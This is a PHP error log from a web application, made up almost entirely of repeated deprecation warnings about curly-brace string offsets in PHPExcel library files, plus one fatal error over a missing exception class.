PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 15:55:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 15:55:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 15:55:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 44 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 15:55:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [22-Jun-2024 12:14:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [22-Jun-2024 12:14:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [22-Jun-2024 12:14:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [22-Jun-2024 12:14:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [22-Jun-2024 12:14:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [22-Jun-2024 12:14:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [24-Jun-2024 22:12:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [24-Jun-2024 22:12:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [24-Jun-2024 22:12:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [24-Jun-2024 22:12:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [24-Jun-2024 22:12:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [24-Jun-2024 22:12:39 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [24-Jun-2024 22:18:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [24-Jun-2024 22:18:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [24-Jun-2024 22:18:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [24-Jun-2024 22:18:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [24-Jun-2024 22:18:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [24-Jun-2024 22:18:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 162 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 184 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 185 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 194 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 204 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 205 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 212 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 222 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 225 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 233 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 244 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 246 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 247 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 257 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 268 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 279 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 286 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 299 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 318 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 340 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 361 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 368 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 388 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 393 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 399 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 404 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 410 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 426 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 447 [24-Jun-2024 22:45:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 463 [25-Jun-2024 00:24:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 00:24:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 00:24:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 00:24:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 00:24:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 00:24:15 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 01:05:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 01:05:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 01:05:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 01:05:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 01:05:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 01:05:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 01:34:51 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php on line 28 [25-Jun-2024 02:01:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 02:01:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 02:01:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 02:01:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 02:01:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 02:01:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 02:18:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 02:18:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 02:18:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 02:18:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 02:18:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 02:18:00 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 44 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 03:01:35 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 09:30:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [25-Jun-2024 09:30:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [25-Jun-2024 09:30:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [25-Jun-2024 09:30:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [25-Jun-2024 09:30:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [25-Jun-2024 09:30:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [25-Jun-2024 09:31:01 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is 